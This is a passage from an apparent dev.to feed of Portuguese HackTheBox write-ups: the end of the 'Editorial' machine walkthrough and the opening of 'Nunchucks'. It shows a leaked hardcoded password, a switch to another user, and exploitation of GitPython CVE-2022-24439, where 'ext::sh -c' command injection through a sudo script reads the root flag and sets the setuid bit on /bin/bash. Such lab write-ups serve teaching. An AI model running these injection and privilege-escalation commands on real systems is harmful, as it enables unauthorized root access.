                &lt;span class="s1"&gt;'contact_email_2'&lt;/span&gt;: &lt;span class="s1"&gt;'info@tiempoarriba.oc'&lt;/span&gt;,
                &lt;span class="s1"&gt;'api_route'&lt;/span&gt;: &lt;span class="s1"&gt;'/api/v1/metadata/'&lt;/span&gt;
            &lt;span class="o"&gt;}}&lt;/span&gt;,
            &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="s1"&gt;'1.1'&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="s1"&gt;'editorial'&lt;/span&gt;: &lt;span class="s1"&gt;'Ed Tiempo Arriba'&lt;/span&gt;,
                &lt;span class="s1"&gt;'contact_email_1'&lt;/span&gt;: &lt;span class="s1"&gt;'soporte@tiempoarriba.oc'&lt;/span&gt;,
                &lt;span class="s1"&gt;'contact_email_2'&lt;/span&gt;: &lt;span class="s1"&gt;'info@tiempoarriba.oc'&lt;/span&gt;,
                &lt;span class="s1"&gt;'api_route'&lt;/span&gt;: &lt;span class="s1"&gt;'/api/v1.1/metadata/'&lt;/span&gt;
            &lt;span class="o"&gt;}}&lt;/span&gt;,
            &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="s1"&gt;'1.2'&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="s1"&gt;'editorial'&lt;/span&gt;: api_editorial_name,
                &lt;span class="s1"&gt;'contact_email_1'&lt;/span&gt;: &lt;span class="s1"&gt;'soporte@tiempoarriba.oc'&lt;/span&gt;,
                &lt;span class="s1"&gt;'contact_email_2'&lt;/span&gt;: &lt;span class="s1"&gt;'info@tiempoarriba.oc'&lt;/span&gt;,
                &lt;span class="s1"&gt;'api_route'&lt;/span&gt;: f&lt;span class="s1"&gt;'/api/v1.2/metadata/'&lt;/span&gt;
            &lt;span class="o"&gt;}}&lt;/span&gt;,
            &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="s1"&gt;'2'&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="s1"&gt;'editorial'&lt;/span&gt;: api_editorial_name,
                &lt;span class="s1"&gt;'contact_email'&lt;/span&gt;: &lt;span class="s1"&gt;'info@tiempoarriba.moc.oc'&lt;/span&gt;,
                &lt;span class="s1"&gt;'api_route'&lt;/span&gt;: f&lt;span class="s1"&gt;'/api/v2/metadata/'&lt;/span&gt;
            &lt;span class="o"&gt;}}&lt;/span&gt;,
            &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="s1"&gt;'2.3'&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="s1"&gt;'editorial'&lt;/span&gt;: api_editorial_name,
                &lt;span class="s1"&gt;'contact_email'&lt;/span&gt;: api_editorial_email,
                &lt;span class="s1"&gt;'api_route'&lt;/span&gt;: f&lt;span class="s1"&gt;'{api_route}/'&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}]&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return &lt;/span&gt;jsonify&lt;span class="o"&gt;(&lt;/span&gt;data_editorial&lt;span class="o"&gt;)&lt;/span&gt;

&lt;span class="c"&gt;# -- : (development) mail message to new authors&lt;/span&gt;
@app.route&lt;span class="o"&gt;(&lt;/span&gt;api_route + &lt;span class="s1"&gt;'/authors/message'&lt;/span&gt;, &lt;span class="nv"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=[&lt;/span&gt;&lt;span class="s1"&gt;'GET'&lt;/span&gt;&lt;span class="o"&gt;])&lt;/span&gt;
def api_mail_new_authors&lt;span class="o"&gt;()&lt;/span&gt;:
    &lt;span class="k"&gt;return &lt;/span&gt;jsonify&lt;span class="o"&gt;({&lt;/span&gt;
        &lt;span class="s1"&gt;'template_mail_message'&lt;/span&gt;: &lt;span class="s2"&gt;"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s2"&gt;Your login credentials for our internal forum and authors site are:&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;Username: prod&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;Password: 080217_Producti0n_2023!@&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;Please be sure to change your password as soon as possible for security purposes.&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s2"&gt;Don't hesitate to reach out if you have any questions or ideas - we're always here to support you.&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s2"&gt;Best regards, "&lt;/span&gt; + api_editorial_name + &lt;span class="s2"&gt;" Team."&lt;/span&gt;
    &lt;span class="o"&gt;})&lt;/span&gt; &lt;span class="c"&gt;# TODO: replace dev credentials when checks pass&lt;/span&gt;

&lt;span class="c"&gt;# -------------------------------&lt;/span&gt;
&lt;span class="c"&gt;# Start program&lt;/span&gt;
&lt;span class="c"&gt;# -------------------------------&lt;/span&gt;
&lt;span class="k"&gt;if &lt;/span&gt;__name__ &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;'__main__'&lt;/span&gt;:
    app.run&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;host&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'127.0.0.1'&lt;/span&gt;, &lt;span class="nv"&gt;port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;5000&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Aqui temos endpoints similares ao que encontramos via SSRF inicialmente. A diferença é que os dados de acesso são de outro usuário:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Username:&lt;/strong&gt; prod&lt;br&gt;
&lt;strong&gt;Password:&lt;/strong&gt; 080217_Producti0n_2023!@&lt;/p&gt;

&lt;p&gt;Visualizando os usuários que temos em nosso alvo e que possuem um shell ativo, temos os seguintes usuários:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;dev@editorial:~/apps&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;grep &lt;/span&gt;bash /etc/passwd
root:x:0:0:root:/root:/bin/bash
prod:x:1000:1000:Alirio Acosta:/home/prod:/bin/bash
dev:x:1001:1001::/home/dev:/bin/bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Existe um usuário chamado &lt;strong&gt;prod&lt;/strong&gt;. Podemos utilizar essa nova senha para utilizar este usuário:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;dev@editorial:~/apps&lt;span class="nv"&gt;$ &lt;/span&gt;su prod
Password: 
prod@editorial:/home/dev/apps&lt;span class="err"&gt;$&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Com o novo usuário podemos ver que conseguimos executar um script em python com sudo, o que nos garante permissões de root:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;prod@editorial:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; password &lt;span class="k"&gt;for &lt;/span&gt;prod:
Matching Defaults entries &lt;span class="k"&gt;for &lt;/span&gt;prod on editorial:
    env_reset, mail_badpass, &lt;span class="nv"&gt;secure_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/local/sbin&lt;span class="se"&gt;\:&lt;/span&gt;/usr/local/bin&lt;span class="se"&gt;\:&lt;/span&gt;/usr/sbin&lt;span class="se"&gt;\:&lt;/span&gt;/usr/bin&lt;span class="se"&gt;\:&lt;/span&gt;/sbin&lt;span class="se"&gt;\:&lt;/span&gt;/bin&lt;span class="se"&gt;\:&lt;/span&gt;/snap/bin, use_pty

User prod may run the following commands on editorial:
    &lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py &lt;span class="k"&gt;*&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;O comando é para executar um script em python que aceita qualquer parâmetro, por conta do asterisco &lt;code&gt;*&lt;/code&gt;.&lt;br&gt;
Podemos visualizar o conteúdo do script para ver o que conseguimos executar:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;prod@editorial:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /opt/internal_apps/clone_changes/
prod@editorial:/opt/internal_apps/clone_changes&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-alh&lt;/span&gt;
total 12K
drwxr-x--- 2 root     prod     4.0K Jun  5 14:36 &lt;span class="nb"&gt;.&lt;/span&gt;
drwxr-xr-x 5 www-data www-data 4.0K Jun  5 14:36 ..
&lt;span class="nt"&gt;-rwxr-x---&lt;/span&gt; 1 root     prod      256 Jun  4 11:30 clone_prod_change.py
prod@editorial:/opt/internal_apps/clone_changes&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;clone_prod_change.py
&lt;span class="c"&gt;#!/usr/bin/python3&lt;/span&gt;

import os
import sys
from git import Repo

os.chdir&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/opt/internal_apps/clone_changes'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

url_to_clone &lt;span class="o"&gt;=&lt;/span&gt; sys.argv[1]

r &lt;span class="o"&gt;=&lt;/span&gt; Repo.init&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt;, &lt;span class="nv"&gt;bare&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;True&lt;span class="o"&gt;)&lt;/span&gt;
r.clone_from&lt;span class="o"&gt;(&lt;/span&gt;url_to_clone, &lt;span class="s1"&gt;'new_changes'&lt;/span&gt;, &lt;span class="nv"&gt;multi_options&lt;/span&gt;&lt;span class="o"&gt;=[&lt;/span&gt;&lt;span class="s2"&gt;"-c protocol.ext.allow=always"&lt;/span&gt;&lt;span class="o"&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Não temos permissões para editar o arquivo, somente executar. O script utiliza bibliotecas do python os e sys, que permite executar ações no linux. &lt;br&gt;
O script aceita um parâmetro, para isso é utilizado a lib &lt;strong&gt;sys&lt;/strong&gt; do python.&lt;br&gt;
É feito uma troca de diretório para &lt;strong&gt;/opt/internal_apps/clone_changes&lt;/strong&gt; utilizando a função &lt;strong&gt;chdir&lt;/strong&gt; da lib &lt;strong&gt;os&lt;/strong&gt; do python.&lt;/p&gt;

&lt;p&gt;Agora utilizando outra lib do python chamada &lt;strong&gt;git&lt;/strong&gt; é feito um &lt;strong&gt;git init&lt;/strong&gt;, que inicializa um repositório.&lt;br&gt;
O parâmetro que é aceito pelo script deve ser um repositório, para que seja feito um git clone utilizando esta mesma lib git.&lt;/p&gt;

&lt;p&gt;Podemos buscar por vulnerabilidades nessa lib, para isso vamos precisar pegar a versão através do &lt;strong&gt;pip&lt;/strong&gt;, que é um gerenciador de pacotes do python:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;prod@editorial:/opt/internal_apps/clone_changes&lt;span class="nv"&gt;$ &lt;/span&gt;pip3 list | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; git
gitdb                 4.0.10
GitPython             3.1.29
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Buscando por vulnerabilidades encontramos a &lt;strong&gt;CVE-2022-24439&lt;/strong&gt;, que se trata de um Remote Code Execution devido a uma validação inadequada do input do usuário.&lt;br&gt;
Esta vulnerabilidade foi relatada pela Snyk, que também disponibilizou uma &lt;a href="https://security.snyk.io/vuln/SNYK-PYTHON-GITPYTHON-3113858" rel="noopener noreferrer"&gt;PoC&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Podemos alterar a poc para ler arquivos como root ou elevar nosso acesso para root.&lt;/p&gt;

&lt;p&gt;Para ler arquivos podemos executar o seguinte comando:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;prod@editorial:/opt/internal_apps/clone_changes&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py &lt;span class="s2"&gt;"ext::sh -c cat% /root/root.txt% &amp;gt;% /tmp/root.txt"&lt;/span&gt;
Traceback &lt;span class="o"&gt;(&lt;/span&gt;most recent call last&lt;span class="o"&gt;)&lt;/span&gt;:
  File &lt;span class="s2"&gt;"/opt/internal_apps/clone_changes/clone_prod_change.py"&lt;/span&gt;, line 12, &lt;span class="k"&gt;in&lt;/span&gt; &amp;lt;module&amp;gt;
    r.clone_from&lt;span class="o"&gt;(&lt;/span&gt;url_to_clone, &lt;span class="s1"&gt;'new_changes'&lt;/span&gt;, &lt;span class="nv"&gt;multi_options&lt;/span&gt;&lt;span class="o"&gt;=[&lt;/span&gt;&lt;span class="s2"&gt;"-c protocol.ext.allow=always"&lt;/span&gt;&lt;span class="o"&gt;])&lt;/span&gt;
  File &lt;span class="s2"&gt;"/usr/local/lib/python3.10/dist-packages/git/repo/base.py"&lt;/span&gt;, line 1275, &lt;span class="k"&gt;in &lt;/span&gt;clone_from
    &lt;span class="k"&gt;return &lt;/span&gt;cls._clone&lt;span class="o"&gt;(&lt;/span&gt;git, url, to_path, GitCmdObjectDB, progress, multi_options, &lt;span class="k"&gt;**&lt;/span&gt;kwargs&lt;span class="o"&gt;)&lt;/span&gt;
  File &lt;span class="s2"&gt;"/usr/local/lib/python3.10/dist-packages/git/repo/base.py"&lt;/span&gt;, line 1194, &lt;span class="k"&gt;in &lt;/span&gt;_clone
    finalize_process&lt;span class="o"&gt;(&lt;/span&gt;proc, &lt;span class="nv"&gt;stderr&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;stderr&lt;span class="o"&gt;)&lt;/span&gt;
  File &lt;span class="s2"&gt;"/usr/local/lib/python3.10/dist-packages/git/util.py"&lt;/span&gt;, line 419, &lt;span class="k"&gt;in &lt;/span&gt;finalize_process
    proc.wait&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;**&lt;/span&gt;kwargs&lt;span class="o"&gt;)&lt;/span&gt;
  File &lt;span class="s2"&gt;"/usr/local/lib/python3.10/dist-packages/git/cmd.py"&lt;/span&gt;, line 559, &lt;span class="k"&gt;in &lt;/span&gt;&lt;span class="nb"&gt;wait
    &lt;/span&gt;raise GitCommandError&lt;span class="o"&gt;(&lt;/span&gt;remove_password_if_present&lt;span class="o"&gt;(&lt;/span&gt;self.args&lt;span class="o"&gt;)&lt;/span&gt;, status, errstr&lt;span class="o"&gt;)&lt;/span&gt;
git.exc.GitCommandError: Cmd&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'git'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; failed due to: &lt;span class="nb"&gt;exit &lt;/span&gt;code&lt;span class="o"&gt;(&lt;/span&gt;128&lt;span class="o"&gt;)&lt;/span&gt;
  cmdline: git clone &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; protocol.ext.allow&lt;span class="o"&gt;=&lt;/span&gt;always ext::sh &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="nb"&gt;cat&lt;/span&gt;% /root/root.txt% &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;% /tmp/root.txt new_changes
  stderr: &lt;span class="s1"&gt;'Cloning into '&lt;/span&gt;new_changes&lt;span class="s1"&gt;'...
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
'&lt;/span&gt;
prod@editorial:/opt/internal_apps/clone_changes&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; /tmp/
&lt;span class="nb"&gt;.&lt;/span&gt;           root.txt                                                                           .Test-unix
..          systemd-private-19d905d0323a421c8583b199cfdbc508-ModemManager.service-k9pcm7       tmux-1001
.font-unix  systemd-private-19d905d0323a421c8583b199cfdbc508-systemd-logind.service-OAF5Lb     vmware-root_793-4248746047
.ICE-unix   systemd-private-19d905d0323a421c8583b199cfdbc508-systemd-resolved.service-LyFZ7m   .X11-unix
pwned       systemd-private-19d905d0323a421c8583b199cfdbc508-systemd-timesyncd.service-Owf84r  .XIM-unix
prod@editorial:/opt/internal_apps/clone_changes&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /tmp/root.txt
3b41e79604a2b5ab7a462fe51e4491cc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;E assim conseguimos ler a root flag.&lt;/p&gt;

&lt;p&gt;Podemos também adicionar o &lt;strong&gt;sticky bit&lt;/strong&gt; no arquivo &lt;strong&gt;/bin/bash&lt;/strong&gt;, desta forma conseguimos ganhar um shell como root. O sticky bit permite que outros usuários possam utilizar o arquivo, ou binário com permissões do dono do arquivo, neste caso é o usuário root. Adicionando no /bin/bash conseguimos um shell como root:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;prod@editorial:/home/dev/apps&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;stat&lt;/span&gt; /bin/bash
  File: /bin/bash
  Size: 1396520         Blocks: 2728       IO Block: 4096   regular file
Device: fd00h/64768d    Inode: 4694        Links: 1
Access: &lt;span class="o"&gt;(&lt;/span&gt;0755/-rwxr-xr-x&lt;span class="o"&gt;)&lt;/span&gt;  Uid: &lt;span class="o"&gt;(&lt;/span&gt;    0/    root&lt;span class="o"&gt;)&lt;/span&gt;   Gid: &lt;span class="o"&gt;(&lt;/span&gt;    0/    root&lt;span class="o"&gt;)&lt;/span&gt;
Access: 2024-06-23 14:47:02.027998536 +0000
Modify: 2024-03-14 11:31:47.000000000 +0000
Change: 2024-06-05 14:36:10.952041259 +0000
 Birth: 2024-06-04 14:02:32.920041258 +0000

prod@editorial:/opt/internal_apps/clone_changes&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py &lt;span class="s2"&gt;"ext::sh -c chmod% u+s% /bin/bash"&lt;/span&gt;
Traceback &lt;span class="o"&gt;(&lt;/span&gt;most recent call last&lt;span class="o"&gt;)&lt;/span&gt;:
  File &lt;span class="s2"&gt;"/opt/internal_apps/clone_changes/clone_prod_change.py"&lt;/span&gt;, line 12, &lt;span class="k"&gt;in&lt;/span&gt; &amp;lt;module&amp;gt;
    r.clone_from&lt;span class="o"&gt;(&lt;/span&gt;url_to_clone, &lt;span class="s1"&gt;'new_changes'&lt;/span&gt;, &lt;span class="nv"&gt;multi_options&lt;/span&gt;&lt;span class="o"&gt;=[&lt;/span&gt;&lt;span class="s2"&gt;"-c protocol.ext.allow=always"&lt;/span&gt;&lt;span class="o"&gt;])&lt;/span&gt;
  File &lt;span class="s2"&gt;"/usr/local/lib/python3.10/dist-packages/git/repo/base.py"&lt;/span&gt;, line 1275, &lt;span class="k"&gt;in &lt;/span&gt;clone_from
    &lt;span class="k"&gt;return &lt;/span&gt;cls._clone&lt;span class="o"&gt;(&lt;/span&gt;git, url, to_path, GitCmdObjectDB, progress, multi_options, &lt;span class="k"&gt;**&lt;/span&gt;kwargs&lt;span class="o"&gt;)&lt;/span&gt;
  File &lt;span class="s2"&gt;"/usr/local/lib/python3.10/dist-packages/git/repo/base.py"&lt;/span&gt;, line 1194, &lt;span class="k"&gt;in &lt;/span&gt;_clone
    finalize_process&lt;span class="o"&gt;(&lt;/span&gt;proc, &lt;span class="nv"&gt;stderr&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;stderr&lt;span class="o"&gt;)&lt;/span&gt;
  File &lt;span class="s2"&gt;"/usr/local/lib/python3.10/dist-packages/git/util.py"&lt;/span&gt;, line 419, &lt;span class="k"&gt;in &lt;/span&gt;finalize_process
    proc.wait&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;**&lt;/span&gt;kwargs&lt;span class="o"&gt;)&lt;/span&gt;
  File &lt;span class="s2"&gt;"/usr/local/lib/python3.10/dist-packages/git/cmd.py"&lt;/span&gt;, line 559, &lt;span class="k"&gt;in &lt;/span&gt;&lt;span class="nb"&gt;wait
    &lt;/span&gt;raise GitCommandError&lt;span class="o"&gt;(&lt;/span&gt;remove_password_if_present&lt;span class="o"&gt;(&lt;/span&gt;self.args&lt;span class="o"&gt;)&lt;/span&gt;, status, errstr&lt;span class="o"&gt;)&lt;/span&gt;
git.exc.GitCommandError: Cmd&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'git'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; failed due to: &lt;span class="nb"&gt;exit &lt;/span&gt;code&lt;span class="o"&gt;(&lt;/span&gt;128&lt;span class="o"&gt;)&lt;/span&gt;
  cmdline: git clone &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; protocol.ext.allow&lt;span class="o"&gt;=&lt;/span&gt;always ext::sh &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="nb"&gt;chmod&lt;/span&gt;% u+s% /bin/bash new_changes
  stderr: &lt;span class="s1"&gt;'Cloning into '&lt;/span&gt;new_changes&lt;span class="s1"&gt;'...
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
'&lt;/span&gt;
prod@editorial:/opt/internal_apps/clone_changes&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;stat&lt;/span&gt; /bin/bash
  File: /bin/bash
  Size: 1396520         Blocks: 2728       IO Block: 4096   regular file
Device: fd00h/64768d    Inode: 4694        Links: 1
Access: &lt;span class="o"&gt;(&lt;/span&gt;4755/-rwsr-xr-x&lt;span class="o"&gt;)&lt;/span&gt;  Uid: &lt;span class="o"&gt;(&lt;/span&gt;    0/    root&lt;span class="o"&gt;)&lt;/span&gt;   Gid: &lt;span class="o"&gt;(&lt;/span&gt;    0/    root&lt;span class="o"&gt;)&lt;/span&gt;
Access: 2024-06-22 09:39:01.331999178 +0000
Modify: 2024-03-14 11:31:47.000000000 +0000
Change: 2024-06-22 13:54:52.571329190 +0000
 Birth: 2024-06-04 14:02:32.920041258 +0000
prod@editorial:/opt/internal_apps/clone_changes&lt;span class="nv"&gt;$ &lt;/span&gt;/bin/bash &lt;span class="nt"&gt;-p&lt;/span&gt;
bash-5.1# &lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1000&lt;span class="o"&gt;(&lt;/span&gt;prod&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1000&lt;span class="o"&gt;(&lt;/span&gt;prod&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;euid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1000&lt;span class="o"&gt;(&lt;/span&gt;prod&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;E assim finalizamos a máquina Editorial!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fttcu1ijvqm4k6ggoraya.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fttcu1ijvqm4k6ggoraya.png" alt="Pwned Machine" width="800" height="765"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>python</category>
      <category>git</category>
      <category>api</category>
    </item>
    <item>
      <title>HackTheBox - Writeup Nunchucks [Retired]</title>
      <dc:creator>Guilherme Martins</dc:creator>
      <pubDate>Sat, 08 Jun 2024 13:07:56 +0000</pubDate>
      <link>https://dev.to/mrtnsgs/hackthebox-writeup-nunchucks-retired-4gik</link>
      <guid>https://dev.to/mrtnsgs/hackthebox-writeup-nunchucks-retired-4gik</guid>
      <description>&lt;p&gt;&lt;strong&gt;Hackthebox&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Neste writeup iremos explorar uma máquina linux de nível easy que ja se encontra entre as máquinas aposentadas. Esta máquina aborda as seguintes vulnerabilidades:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Server Side Template Injection em aplicações NodeJS&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Linux capabilities&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bypass Apparmor&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Recon e user flag
&lt;/h3&gt;

&lt;p&gt;Iniciaremos realizando uma varredura em nosso alvo a procura de portas abertas através do nmap:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;--open&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; 10.129.95.252
Starting Nmap 7.93 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2024-01-27 10:28 EST
Nmap scan report &lt;span class="k"&gt;for &lt;/span&gt;10.129.95.252
Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.25s latency&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
Not shown: 997 closed tcp ports &lt;span class="o"&gt;(&lt;/span&gt;reset&lt;span class="o"&gt;)&lt;/span&gt;
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu Linux&lt;span class="p"&gt;;&lt;/span&gt; protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
80/tcp  open  http     nginx 1.18.0 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu&lt;span class="o"&gt;)&lt;/span&gt;
443/tcp open  ssl/http nginx 1.18.0 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu&lt;span class="o"&gt;)&lt;/span&gt;
Service Info: OS: Linux&lt;span class="p"&gt;;&lt;/span&gt; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ao acessar via IP a porta 80 somos redirecionados para a porta 443 que possui HTTPS. &lt;/p&gt;

&lt;p&gt;Vamos adicionar o domínio que retorna no certificado ssl &lt;strong&gt;nunchucks.htb&lt;/strong&gt; em nosso &lt;strong&gt;/etc/hosts&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;E ao acessarmos novamente temos a seguinte página:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiw4sws29bpyvabisae2h.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiw4sws29bpyvabisae2h.png" alt="nunchucks.htb" width="800" height="452"&gt;&lt;/a&gt;&lt;/p&gt;

